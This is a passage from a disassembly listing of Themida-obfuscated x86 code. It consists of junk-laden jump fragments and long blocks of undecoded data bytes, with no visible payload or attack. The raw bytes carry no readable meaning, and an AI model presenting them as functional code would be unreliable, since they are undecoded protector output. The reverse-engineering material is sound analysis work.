81E28924h, 4C2h, 51BB5300h dd 810C2F69h, 2F694FEBh, 0AFEA810Ch, 14F664Ch, 0AFC281DAh dd 0FF4F664Ch, 1C8B2434h, 4C48124h, 0E9000000h, 431Ch ; --------------------------------------------------------------------------- loc_561974: ; CODE XREF: Themida_:0055E312j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push ebp mov eax, [esp] push 1E3Fh mov [esp], esi mov esi, esp push ebx push 4 push dword ptr [esp] pop ebx push eax jmp loc_5520ED ; --------------------------------------------------------------------------- dd 0E181D9F7h, 3D3E4410h, 0E9D1F741h, 0FFFF159Fh, 8B243C87h dd 0D5682424h, 8900003Ch, 7CE9240Ch db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5619C3: ; CODE XREF: Themida_:005536E2j mov edx, 4 mov esi, edx pop edx push 5E0Fh mov [esp], eax push edx mov edx, 26EA4361h push edx mov eax, [esp] jmp loc_5556EE ; --------------------------------------------------------------------------- loc_5619E2: ; CODE XREF: Themida_:00561101j sub ebx, 0A74A3118h add ecx, ebx pop ebx add edi, ecx jmp loc_56500A ; --------------------------------------------------------------------------- loc_5619F2: ; CODE XREF: Themida_:0055576Dj add eax, 4 xchg eax, [esp] pop esp jmp loc_558B97 ; --------------------------------------------------------------------------- loc_561A00: ; CODE XREF: Themida_:00557F8Dj push eax jmp loc_5517AA ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 0FFAAA3E9h db 0FFh ; --------------------------------------------------------------------------- loc_561A11: ; CODE XREF: Themida_:00557623j push eax mov eax, 4 jmp loc_563609 ; --------------------------------------------------------------------------- loc_561A1C: ; CODE XREF: Themida_:00556AABj add dx, 42E8h push di mov di, 1 add dx, 21BDh add dx, di sub dx, 21BDh pop di add dx, 25EFh add bx, dx pop edx jmp loc_55C53F ; --------------------------------------------------------------------------- dd 8EFC15Bh, 6199F781h, 0C78126B1h, 30153AA8h, 0CA5BB82Dh dd 0FDFDE938h, 48FFFFEh, 24248B24h, 475868h, 24348900h dd 0C6815E54h, 4, 0D8E95055h, 68FFFF7Fh, 4, 83241C8Bh dd 0DE0104C4h, 2C0DE9h db 0 ; --------------------------------------------------------------------------- loc_561A8D: ; CODE XREF: Themida_:0055E43Bj mov edi, esp push ebp push ebx jmp loc_551620 ; --------------------------------------------------------------------------- word_561A96 dw 8B66h ; DATA XREF: Themida_:0055082Co dd 0E9532404h, 0FFFF6B9Fh, 123D68h, 24248900h, 0FF417AE9h dd 76BF57FFh, 0F71F8636h, 44F781DFh, 2199778Dh, 0E9505FFBh dd 0FFFFB843h, 0C15DE989h, 0E7E908E9h, 0BEFFFF44h, 4, 7A6568h dd 24048900h, 0FFA9C7E9h db 0FFh ; --------------------------------------------------------------------------- loc_561AE1: ; CODE XREF: Themida_:005650ECj push esi jmp loc_557AC4 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 5A8D2D00h, 0E801162Eh, 2E5A8D05h, 2434FF16h, 4C4815Dh dd 81000000h, 4ECh, 0B6B6E900h, 0EE81FFFFh, 7CDC08B1h dd 0BB53DE01h, 30F06695h, 0FF8A93E9h db 0FFh ; --------------------------------------------------------------------------- loc_561B21: ; CODE XREF: Themida_:005603AAj push ecx push ebx mov bl, dh mov ch, bl pop ebx push edx jmp loc_55DD85 ; --------------------------------------------------------------------------- loc_561B2E: ; CODE XREF: Themida_:00552DC2j not esi xchg esi, [esp] pop eax shl eax, 8 add eax, 9D219B04h jmp loc_552D0D ; --------------------------------------------------------------------------- db 0B3h, 3Bh, 80h dd 48E975EBh, 58FFFF0Fh, 3DEC68h, 243C8900h, 268h, 0EB815F00h dd 424E0165h, 0FEFBFAE9h, 0E9FB01FFh, 0B74h ; --------------------------------------------------------------------------- loc_561B6C: ; CODE XREF: Themida_:005522CEj push esp pop ecx add ecx, 4 sub ecx, 4 push ecx jmp loc_5515A0 ; --------------------------------------------------------------------------- loc_561B7D: ; CODE XREF: Themida_:005547ADj pop edi jmp loc_55FDBE ; --------------------------------------------------------------------------- db 8Bh dd 0EEE9243Ch, 87FFFF3Bh, 0DDF75AD5h, 0C7C6E953h, 0CE89FFFFh dd 8BF52959h, 0C4812434h, 4, 2C8BEF01h, 30E95524h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561BAF: ; CODE XREF: Themida_:0055D0E4j push 274Fh mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_555796 ; --------------------------------------------------------------------------- loc_561BC6: ; CODE XREF: Themida_:00559FF6j pop ebx not ebx jmp loc_55B8E6 ; --------------------------------------------------------------------------- dw 815Ch dd 4ECh, 24048900h, 0FFC0EBE9h, 4C781FFh, 0E9000000h, 0FFFF82C6h ; --------------------------------------------------------------------------- loc_561BE8: ; CODE XREF: Themida_:0055BFD2j xor [esp], edx xor edx, [esp] jmp loc_558602 ; --------------------------------------------------------------------------- db 5Ah dd 8B24048Fh, 0E9522424h, 3934h, 148BD108h, 4C48124h, 80000000h dd 0CF286AE9h, 0FFFDF1E9h db 0FFh ; --------------------------------------------------------------------------- loc_561C15: ; CODE XREF: Themida_:00555B24j push ebx push ebp mov ebp, 30h mov ebx, ebp pop ebp jmp loc_5538F3 ; --------------------------------------------------------------------------- dd 0FF241489h, 0E9042474h, 0FFFF26ECh ; --------------------------------------------------------------------------- loc_561C30: ; CODE XREF: Themida_:005587A5j mov [esp], edi push dword ptr [esp+4] pop edi jmp loc_555D71 ; --------------------------------------------------------------------------- loc_561C3D: ; CODE XREF: Themida_:00560376j sub ebp, 2 push 3B10h jmp loc_551873 ; --------------------------------------------------------------------------- dw 0C580h dd 0E9EA0074h, 0FFFFDEDAh ; --------------------------------------------------------------------------- loc_561C54: ; CODE XREF: Themida_:00556DD7j add esp, 4 sub esp, 4 mov [esp], edi mov edi, 40B62EF3h xor edi, 63A67040h not edi jmp loc_55B4BD ; --------------------------------------------------------------------------- db 8Ah dd 8802245Ch, 66022474h, 5624148Bh, 0C681E689h, 4, 3302C683h dd 34312434h, 0FF5AE924h, 0B20CFFFEh, 0E8C0D0F6h, 30440404h dd 0EB8058C1h, 0E9CB2800h, 0FFFFF8DCh, 295DE801h, 0B4BA52D8h dd 567CD032h, 0FFFFFFBEh, 5EF229FFh, 2414F752h, 5ECA815Ah dd 8119DD7Dh, 0A4A83CF2h, 0E9D029C6h, 0FFFF3B1Ch, 0D07CE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561CDA: ; CODE XREF: Themida_:0055A2DCj sub dx, 3E72h add dx, 79B6h jmp loc_556F79 ; --------------------------------------------------------------------------- db 66h, 8Bh, 1Ch dd 2C48124h, 0F6000000h, 0A3F680DEh, 0FF5B05E9h, 241C89FFh dd 2434FF54h, 0E9241C8Bh, 0FFFF8772h ; --------------------------------------------------------------------------- loc_561D0C: ; CODE XREF: Themida_:00556FB9j shl ebx, 2 xor ebx, 0AEF5F96Fh xor ebp, ebx pop ebx shl ebp, 5 jmp loc_557074 ; --------------------------------------------------------------------------- dd 3458E953h db 2 dup(0FFh) word_561D26 dw 74FFh ; DATA XREF: Themida_:005508F8o dd 34FF0424h, 24048B24h, 0FFDCB7E9h, 53EB89FFh, 0FF58FEE9h dd 240C89FFh, 0FF85FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_561D45: ; CODE XREF: Themida_:0055DE00j push ebx mov bh, 26h xor bh, 7Eh jmp loc_556395 ; --------------------------------------------------------------------------- aUS db 'аЦ',7,'И!*',0 align 4 dd 8704E883h, 895C2404h, 0E9242Ch db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561D67: ; CODE XREF: Themida_:00562C0Bj push esi pop ebp mov esi, [esp] add esp, 4 sub edx, 355666D4h add edx, ebp add edx, 355666D4h mov ebp, [esp] add esp, 4 xor eax, edx pop edx jmp loc_5659AE ; --------------------------------------------------------------------------- loc_561D8E: ; CODE XREF: Themida_:0055C542j push edx mov edx, esp push 10D8h mov [esp], ebx push edi jmp loc_5636DD ; --------------------------------------------------------------------------- db 0E9h dd 0FFFEEC0Bh dword_561DA4 dd 24048B66h, 79E968h, 24148900h, 0DE68E289h, 89000078h ; DATA XREF: Themida_:00550938o dd 0A3E92434h, 50FFFF18h, 188668h, 24248900h, 4240483h dd 6824048Bh, 54Bh, 89242C89h, 4C581E5h, 81000000h, 4C5h dd 242C8700h, 0FC5E95Ch, 814DFFFFh, 28AB8CEDh, 8BEE01F6h dd 0C483242Ch, 0CDE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561E02: ; CODE XREF: Themida_:00562F15j push 11BAh mov [esp], ebx mov ebx, 581E16B4h push ecx mov ecx, 3A547C1h jmp loc_55211F ; --------------------------------------------------------------------------- loc_561E1A: ; CODE XREF: Themida_:00552BBFj xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx jmp loc_562C10 ; --------------------------------------------------------------------------- dd 4C381h, 0C3830000h, 93C6804h, 1C890000h, 2474FF24h dd 241C8B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop dword ptr [esp] jmp loc_553E62 ; --------------------------------------------------------------------------- db 5Eh dd 1FEBE9h, 0D8F18100h, 567A6E47h, 0FFC6A9E9h, 24048FFFh dd 6624248Bh, 66241489h, 24E99C50h, 80FFFEEBh, 0EC83FFEEh dd 241C8904h, 0CB80B5B3h, 9B8E921h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561E9E: ; CODE XREF: Themida_:00554AF5j push 542455C4h pop ebp jmp loc_553A78 ; --------------------------------------------------------------------------- db 0F7h, 0D1h, 0F7h dd 0EEDBE9D9h, 5159FFFFh, 5226B850h, 0E0C14D44h, 3B742D05h dd 0C1892CEEh, 8BCD3158h, 7EE9240Ch, 55FFFF44h, 4BDh, 5DEE0100h dd 2474FF56h, 2434FF04h, 4C4815Eh, 8F000000h, 535C2404h dd 2DE9E389h, 0C1FFFF59h, 0E0E908EDh, 55FFFEEFh, 0FFA80AE9h dd 2D0540FFh, 55C2E4Eh, 1, 0D9C62B35h, 58C30165h, 4B850h dd 0C3010000h, 0FFE70AE9h, 77E954FFh, 81FFFF56h, 4C4h dd 0F8A4E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561F32: ; CODE XREF: Themida_:00551003j pop edx sub esp, 4 mov [esp], edx jmp loc_554DA9 ; --------------------------------------------------------------------------- db 51h, 31h, 14h dd 24143324h, 87241431h, 8B5156F2h, 0E0E92434h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_561F57: ; CODE XREF: Themida_:005546ABj shl ebx, 2 push edi jmp loc_55E258 ; --------------------------------------------------------------------------- dd 0FEEA4AE9h, 0E18951FFh, 3C6768h, 24048900h, 0BD05D6B8h dd 0C1D0F70Ch, 7B0507E8h, 569DC79h, 46736B3Ah, 366AA52Dh dd 58C101B2h, 4C181h, 0DFE90000h db 0F1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_561F97: ; CODE XREF: Themida_:005617A8j xchg esi, [esp] pop esp mov [esp], eax jmp loc_552DBF ; --------------------------------------------------------------------------- db 55h dd 2E422DBDh, 0F4F58170h, 1D85C00h, 90E95DEFh db 42h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561FB7: ; CODE XREF: Themida_:005538B9j mov [esp], edi mov edi, eax mov ebx, edi jmp loc_554C78 ; --------------------------------------------------------------------------- db 59h dd 0FFC6DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_561FC9: ; CODE XREF: Themida_:00554207j pop edx add edx, 4 add edx, 4 jmp loc_558CF9 ; --------------------------------------------------------------------------- dd 0F925C581h, 0C5E9D2C4h, 31FFFFFCh, 0C1815EF7h, 19C139BAh dd 0FFD050E9h db 0FFh ; --------------------------------------------------------------------------- loc_561FF1: ; CODE XREF: Themida_:00562CFBj push ebx jmp loc_562C9C ; --------------------------------------------------------------------------- db 31h dd 52E92404h, 68FFFF34h, 43CAh, 0FEF4DCE9h, 556BAFFh, 0E2817547h dd 56C0E64h, 440EA81h, 0D7010544h, 0FFAC79E9h db 0FFh ; --------------------------------------------------------------------------- loc_562021: ; CODE XREF: Themida_:0055E993j not bh not bh push eax mov al, 79h jmp loc_551D41 ; --------------------------------------------------------------------------- db 89h, 0E5h, 81h dd 4C5h, 4C58100h, 87000000h, 0FF5C242Ch, 815B2434h, 4C4h dd 0BF38100h, 0E9092C04h, 0FFFF6538h ; --------------------------------------------------------------------------- loc_562054: ; CODE XREF: Themida_:0055382Cj add ebx, 611176FEh jmp loc_559E89 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFEE94Bh, 2048BF57h, 0E95223FCh, 26Bh ; --------------------------------------------------------------------------- loc_562070: ; CODE XREF: Themida_:0055A4D2j sub esi, 46AB2A7Ah jmp loc_55E0CA ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4EF8300h, 795E9h db 0 ; --------------------------------------------------------------------------- loc_562089: ; CODE XREF: Themida_:0056262Dj push 0 sub [esp], edx pop edx sub edx, 791E6F5Ch jmp loc_551E3B ; --------------------------------------------------------------------------- db 0BDh, 2Dh, 5Dh dd 0EC832686h, 24048904h, 566553B8h, 3AEE966h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5620B2: ; CODE XREF: Themida_:00555AB7j push 10h push dword ptr [esp] pop eax jmp loc_55703B ; --------------------------------------------------------------------------- dd 5C24048Fh, 0FF489EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5620C9: ; CODE XREF: Themida_:0055C21Aj push esi jmp loc_55BEE6 ; --------------------------------------------------------------------------- loc_5620CF: ; CODE XREF: Themida_:0055F6C1j and ecx, 426D64ADh push 1EBDh mov [esp], edi mov edi, 83B62C5h add edi, 1 push eax jmp loc_55C402 ; --------------------------------------------------------------------------- loc_5620EB: ; CODE XREF: Themida_:0055D67Ej pop edi neg edi xor edi, 0B07450EAh add ecx, edi jmp loc_5524F8 ; --------------------------------------------------------------------------- db 89h dd 0B7BE56E2h, 8162F263h, 924738EEh, 0FD8DE940h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56210E: ; CODE XREF: Themida_:00551211j add edi, edx pop edx sub edi, 1 jmp loc_55E6D9 ; --------------------------------------------------------------------------- dd 0E90AF380h, 0FFFFB465h, 1C581h, 1EE90000h, 0B9FFFF0Dh dd 538420BCh, 89CE8956h, 0E9595EF3h, 25F0h, 33241C31h dd 0E95C241Ch, 0FFFF3C9Eh ; --------------------------------------------------------------------------- loc_56214C: ; CODE XREF: Themida_:005563B5j add ebp, ebx jmp loc_55A2F7 ; --------------------------------------------------------------------------- db 64h dd 0E9028966h, 0FFFF1218h, 0AD05E952h, 815AFFFFh, 4C4h dd 392DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56216E: ; CODE XREF: Themida_:00565916j sub esi, 455CD456h jmp loc_562AF8 ; --------------------------------------------------------------------------- db 80h, 0C4h, 7Dh dd 3058E330h, 1910E9D8h, 0D8F70000h, 5603E0C1h, 0F267BABEh dd 0F7D6F748h, 4EEC1DEh, 0E903EEC1h, 0FFFF48DFh, 4EC81h dd 1C890000h, 0FD73E924h, 0F929FFFFh, 0FF6980E9h db 0FFh ; --------------------------------------------------------------------------- loc_5621B5: ; CODE XREF: Themida_:0055974Bj xchg ecx, [esp] pop esp add al, ch push dword ptr [esp] jmp loc_5552F4 ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 243C8924h, 0C000CB68h, 0A77FE916h, 0D931FFFFh dd 8BCE315Bh, 0C483240Ch, 81DEF704h, 899168C6h, 618668C6h dd 34890000h, 241C8B24h, 5E04C483h, 2C1BE9h, 4EC8300h dd 89240C89h, 0BD5553E1h, 5C0F5671h, 3C5AC581h, 0EDC16DEFh dd 2ABF5703h, 81294F3Ch, 0DF28EBE7h, 47CF816Ch, 81250429h dd 4DA3FAC7h, 0E9FD2987h, 0FFFF3FBDh, 81242489h, 42404h dd 3C8B0000h, 4C48124h, 68000000h, 1EE7h, 0E9242C89h, 0FFFF3099h dd 34FFE801h, 242C8B24h, 5604C483h, 0C681E689h, 4, 0FF5742E9h dd 1AC681FFh, 814DA729h, 932C4EEh, 242C8B17h, 0FF7BEDE9h db 0FFh ; --------------------------------------------------------------------------- loc_562281: ; CODE XREF: Themida_:00557D88j push 800h mov ebx, [esp] sub esp, 4 jmp loc_55420C ; --------------------------------------------------------------------------- loc_562294: ; CODE XREF: Themida_:005518D2j mov ebp, 3AED08AEh inc ebp or ebp, 7E256C85h or ebp, 2B9C3B46h jmp loc_5599D6 ; --------------------------------------------------------------------------- db 5Dh dd 0BA52D829h, 61C59EEh, 5BC28142h, 0E95C7F5Eh, 0FFFFBA83h dd 396AE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5622C6: ; CODE XREF: Themida_:005587D5j pop edx xchg eax, [esp] jmp loc_5594E9 ; --------------------------------------------------------------------------- db 5Eh dd 2474FF53h, 8E95B04h, 0BAFFFF24h, 12A239DFh, 3DBD5542h dd 451B8142h, 0E5C1DDF7h, 54F58102h, 81723A7Ah, 2C4687EDh dd 5DEA219Bh, 8106EAC1h, 0EC1CF5CAh, 73BB5371h, 812DB479h dd 0E815FBE3h, 0C3A9E952h, 489FFFFh, 2474FF24h, 2434FF04h dd 5D545558h, 0E50BE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56232A: ; CODE XREF: Themida_:0055186Ej dec eax not eax and eax, 3C5279A6h dec eax and eax, 4A220AC0h sub esp, 4 jmp loc_5531F5 ; --------------------------------------------------------------------------- db 56h dd 47E9E689h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56234B: ; CODE XREF: Themida_:0055A0EDj mov bl, al mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_564A7F ; --------------------------------------------------------------------------- db 81h dd 4C4h, 2434FF00h, 4C4815Bh, 49000000h, 0E908E1C1h, 0FFFF1542h dd 5C24048Fh, 9869782Dh, 33822D44h, 68E9733Ah, 0FFFFC4h dd 4A12CD8h, 0E95B665Bh, 0FFFF8C2Eh, 3542C281h, 3DE90E7Ch db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5623A7: ; CODE XREF: Themida_:0055D5AAj pop ebx xchg esi, [esp] pop esp jmp loc_55E2D1 ; --------------------------------------------------------------------------- db 66h, 89h, 14h dd 0C1B55124h, 5359EE88h, 0C7FE67B7h, 0C7FED7F6h, 0FFF2C9E9h dd 4C483FFh, 332DD8F7h, 2D60C47Bh, 62520CC9h, 5358C289h dd 52008CBBh, 8BDA2946h, 0C483241Ch, 3FC28104h, 295C810Bh dd 62E95AD0h db 13h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5623F7: ; CODE XREF: Themida_:005543EFj push esi pop ebx pop esi sub ebx, 6DB87C52h or eax, ebx pop ebx shr eax, 1 or eax, 6A911BE1h xor eax, 6DFF3A6Fh mov edx, eax mov eax, [esp] add esp, 4 xor ecx, edx mov edx, [esp] add esp, 4 mov edi, ecx pop ecx jmp loc_55AC79 ; --------------------------------------------------------------------------- word_56242A dw 8B66h ; DATA XREF: Themida_:00550944o dd 0E9532404h, 0FFFF3D41h ; --------------------------------------------------------------------------- loc_562434: ; CODE XREF: Themida_:00557D13j mov [esp], eax push ebp mov ebp, esp add ebp, 4 jmp loc_5590F2 ; --------------------------------------------------------------------------- db 0B7h, 0F4h, 0FEh dd 80D7F6CFh, 0E7C0B8EFh, 0EA84E908h, 0C7BFFFFFh, 0E93E8F46h dd 0FFFFE179h, 8158C531h, 6D4FA5CDh, 45D5F73Bh, 8005F581h dd 0EE898402h, 0FFEE7FE9h db 0FFh ; --------------------------------------------------------------------------- loc_562479: ; CODE XREF: Themida_:0055BFA1j mov eax, 621E91AFh xor edx, eax mov eax, [esp] add esp, 4 add ebx, edx pop edx jmp loc_55A8D4 ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 0C8010000h, 592434FFh, 8704C483h, 0E95C2404h, 1E7Fh dd 8107E3C1h, 846EA2F3h, 2DEE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5624B6: ; CODE XREF: Themida_:00555833j push 7DD0h mov [esp], esi mov esi, 43896808h add esi, 1A76E922h push esi pop eax pop esi xor [esp+4], eax mov eax, [esp] add esp, 4 jmp loc_550A26 ; --------------------------------------------------------------------------- loc_5624DE: ; CODE XREF: Themida_:00550EBEj mov ebp, [esp] push 4624h mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop eax sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edx mov edx, 61F2148h xor eax, edx pop edx jmp loc_55673C ; --------------------------------------------------------------------------- db 88h, 0CEh, 0E9h dd 0FFFEF26Bh, 0D986CBFEh, 66505366h, 884AB551h, 885966ECh dd 0D90858E3h, 241C8B66h, 0FF7564E9h db 0FFh ; --------------------------------------------------------------------------- loc_562549: ; CODE XREF: Themida_:00552E35j xchg esi, edx not esi xchg esi, edx xor ebx, edx jmp loc_56023B ; --------------------------------------------------------------------------- loc_562556: ; CODE XREF: Themida_:005523F8j shl edx, 1 push ebx push 12Fh mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_562C5E ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 9868E689h, 0E9000006h, 2D3Fh, 0E924248Bh, 0FFFFE036h dd 240C8B54h, 4EC81h, 34890000h, 7138E924h, 1C89FFFFh dd 0E7FDE924h, 0BE56FFFEh, 2477EFDh, 5E6C146h, 0C683DEF7h dd 9EB1E9FFh, 0C2FEFFFFh, 289BC280h, 0CDFE5AD5h, 2F8768h dd 241C8900h, 0C78055B7h, 27CF80FFh, 8D80E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5625E6: ; CODE XREF: Themida_:0056119Fj mov esp, [esp] mov [esp], ebx mov ecx, [esp] add esp, 4 mov eax, ecx mov ecx, [esp] add esp, 4 push 265Eh jmp loc_560F6F ; --------------------------------------------------------------------------- dw 0FE31h dd 11F6815Fh, 816E7D54h, 0FA7481CEh, 89EE8147h, 12CF2FEh dd 0D1895EF2h, 0E924148Bh, 264Bh ; --------------------------------------------------------------------------- loc_56262C: ; CODE XREF: Themida_:0055F39Fj pop eax jmp loc_562089 ; --------------------------------------------------------------------------- dw 0D828h dd 8B2C262Ch, 8768665Bh, 1489664Ch, 8025B224h, 0E2C0F4C2h dd 0D7B55107h, 8059EA30h, 0EAD0FFEAh, 80CCB450h, 0ECC078C4h dd 7ECC003h, 0E9AAC480h, 0FFFFD4CCh ; --------------------------------------------------------------------------- loc_562668: ; CODE XREF: Themida_:0055A6F3j mov edx, esp push eax mov eax, 5D30422Dh jmp loc_554E1E ; --------------------------------------------------------------------------- db 1, 0F2h, 5Eh dd 0EA81FA29h, 35C71B5Eh, 83243C8Bh, 0CEE904C4h, 66FFFEF3h dd 2454F650h, 88586601h, 351EE9E6h, 0D3F7FFFFh, 32C3EB81h dd 0EA81A1A7h, 4AAC48BFh, 0C281DA29h, 4AAC48BFh, 2414875Bh dd 2414895Ch, 586ACDBAh, 9F2AE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5626C2: ; CODE XREF: Themida_:00563A6Bj mov ebp, 2309287Eh jmp loc_55D8A0 ; --------------------------------------------------------------------------- loc_5626CC: ; CODE XREF: Themida_:0055146Cj push dword ptr [esp] pop edx push edi mov edi, esp jmp loc_564157 ; --------------------------------------------------------------------------- loc_5626D8: ; CODE XREF: Themida_:0055CA80j mov [esp], ebp jmp loc_564F05 ; --------------------------------------------------------------------------- dd 3BDAE95Fh, 5E5DFFFFh, 4C681h, 0EC830000h, 5210E904h dd 48BFFFFh, 4C48324h, 24148750h, 1487D2F7h, 0BA525824h dd 6AA7658h, 0F75AD021h, 1CAE9D8h, 0E5890000h, 5C0AB850h dd 0D480376h, 22808BFh, 0E8C1D0F7h, 41650D04h, 7135745Fh dd 17FDF5Bh, 0E7E958C5h, 9FFFF04h, 4840FC9h, 68FFFFAAh dd 6288h, 24048F54h, 4EC8351h, 0BD242C89h, 4, 24048155h dd 34813740h, 40E98159h, 0FF348137h, 815D2434h, 4C4h, 246C8100h dd 1A16A704h, 244C017Ah, 0B8505704h, 7A1A16A7h, 0D4E9C789h dd 88FFFFA7h, 0E95B58C2h, 0FFFF6B42h, 926A7105h, 52D80104h dd 926A71BAh, 0BA84E904h, 0A2BAFFFFh, 0E911967Eh, 0FFFFA689h dd 33243C31h, 7DE9243Ch, 1FFFFD7h, 2492E9CDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5627C2: ; CODE XREF: Themida_:0055E727j add ebx, 4 xchg ebx, [esp] jmp loc_5515DE ; --------------------------------------------------------------------------- dd 68F0EC80h, 81Bh, 0B6241489h, 99EE801Dh, 8008EEC0h, 0CE8046E6h dd 80C6FE24h, 0F43034EEh, 2E4C05Ah, 0F480D4F6h, 58E30055h dd 2856EB80h, 0B05066C3h, 66C30056h, 0FF686658h, 4896605h dd 80B3B424h, 0C48001C4h, 1645E932h, 0E9570000h, 0FFFFB64Eh dd 0BA241489h, 4, 0FF3058E9h db 0FFh ; --------------------------------------------------------------------------- loc_562831: ; CODE XREF: Themida_:00557B74j add ebp, 4 jmp loc_5659CD ; --------------------------------------------------------------------------- loc_562839: ; CODE XREF: Themida_:0055F6CDj mov ebx, 7A3F0F4Fh xor ebx, 6FB73D9Ah push esi jmp loc_5532D1 ; --------------------------------------------------------------------------- word_56284A dw 48Bh ; DATA XREF: Themida_:00550784o dd 0B123E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562852: ; CODE XREF: Themida_:0055C322j mov eax, 4 jmp loc_55B93B ; --------------------------------------------------------------------------- dd 0C380E328h, 0E68956F3h, 0FFAB93E9h, 242C89FFh, 3CE68h dd 24148900h, 33A8E9h, 48F5B00h, 4895C24h, 2E9CB824h, 0D0F74599h dd 0BACE9h, 7CE95A00h db 3Fh, 2 dup(0FFh) byte_562893 db 8Bh ; DATA XREF: Themida_:005508CCo dd 60E92424h, 80FFFEE7h, 0D900C2E9h, 0FFD08EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5628A5: ; CODE XREF: Themida_:00554FC2j pop edi add esp, 4 push 3A57h mov [esp], ebp push 5DAEh mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_55563F ; --------------------------------------------------------------------------- db 56h, 89h, 0E6h dd 4C681h, 6CE90000h, 5CFFFFE6h, 0E9242489h, 0FFFFCBD8h dd 0DC04BD55h, 0E831F97Dh, 0B577E95Dh, 3C8BFFFFh, 0E6895624h dd 4C681h, 0E1E90000h, 87FFFF9Ah, 0ABB53F2h, 8138A441h dd 272453EBh, 84CB8113h, 5365EF48h, 420E9h, 0D9015800h dd 3D60685Bh, 0FDE90000h, 0B3FFFFFEh, 0E1B25297h, 285AD488h dd 0F8B35BDCh, 2843C380h, 43EB80E3h, 8BD82858h, 0C481241Ch dd 4, 0EC81D800h, 2, 240C8966h, 0E800AEB5h, 74E95966h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56295F: ; CODE XREF: Themida_:0055990Ej xchg edx, [esp] pop esp push ebp mov ebp, 3CF709B8h shr ebp, 5 jmp loc_5646EA ; --------------------------------------------------------------------------- loc_562971: ; CODE XREF: Themida_:0055FB43j push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_5522C8 ; --------------------------------------------------------------------------- dw 5B54h dd 4C381h, 0C3810000h, 4, 0FFAA9BE9h db 0FFh, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_556519 ; --------------------------------------------------------------------------- loc_5629AA: ; CODE XREF: Themida_:0055E969j push ecx mov ecx, esp push eax push edi mov edi, 5A7176E1h jmp loc_5572EB ; --------------------------------------------------------------------------- db 52h, 88h, 0EEh dd 148BF388h, 4C48324h, 0FEFA98E9h, 8BEB01FFh, 0A9E9242Ch db 0Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5629D3: ; CODE XREF: Themida_:0055BCEDj add ecx, edx push dword ptr [esp] jmp loc_564074 ; --------------------------------------------------------------------------- db 29h, 0C3h, 58h dd 1C8BDA01h, 4C48324h, 3304C283h, 14312414h, 24143324h dd 0E924248Bh, 0FFFF530Ch, 4C181h, 0E9550000h, 0FFFF0341h ; --------------------------------------------------------------------------- loc_562A08: ; CODE XREF: Themida_:00555039j sub ebx, 7E6E787Bh pop ebp push edi mov edi, 3C1E78A7h jmp loc_55D657 ; --------------------------------------------------------------------------- dw 0EB81h dd 15616D4Ah, 0FFE9D889h, 88FFFF86h, 241C8BD9h, 0FF1653E9h dd 84BA52FFh, 31271820h, 5A042454h, 0FFBD39E9h, 0E9CEFEFFh dd 0FFFFA661h, 7504C781h, 0FE011249h, 4EE835Fh, 0FEE9C4E9h dd 4C481FFh, 8F000000h, 248B2404h, 8373E924h, 9805FFFFh dd 1319570h, 0F27BE9E8h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_562A76: ; CODE XREF: Themida_:00560FB2j mov ebx, 40A73EB3h mov ecx, 40A73EB7h xor ecx, ebx jmp loc_558420 ; --------------------------------------------------------------------------- byte_562A87 db 0FFh ; DATA XREF: Themida_:00550740o dd 34FF2434h, 0EC835924h, 24048904h, 405E089h, 0E9000000h dd 19C1h, 8BD555Eh, 31699C0Dh, 2434FFEAh, 3EFBE95Dh, 483FFFFh dd 535F0424h, 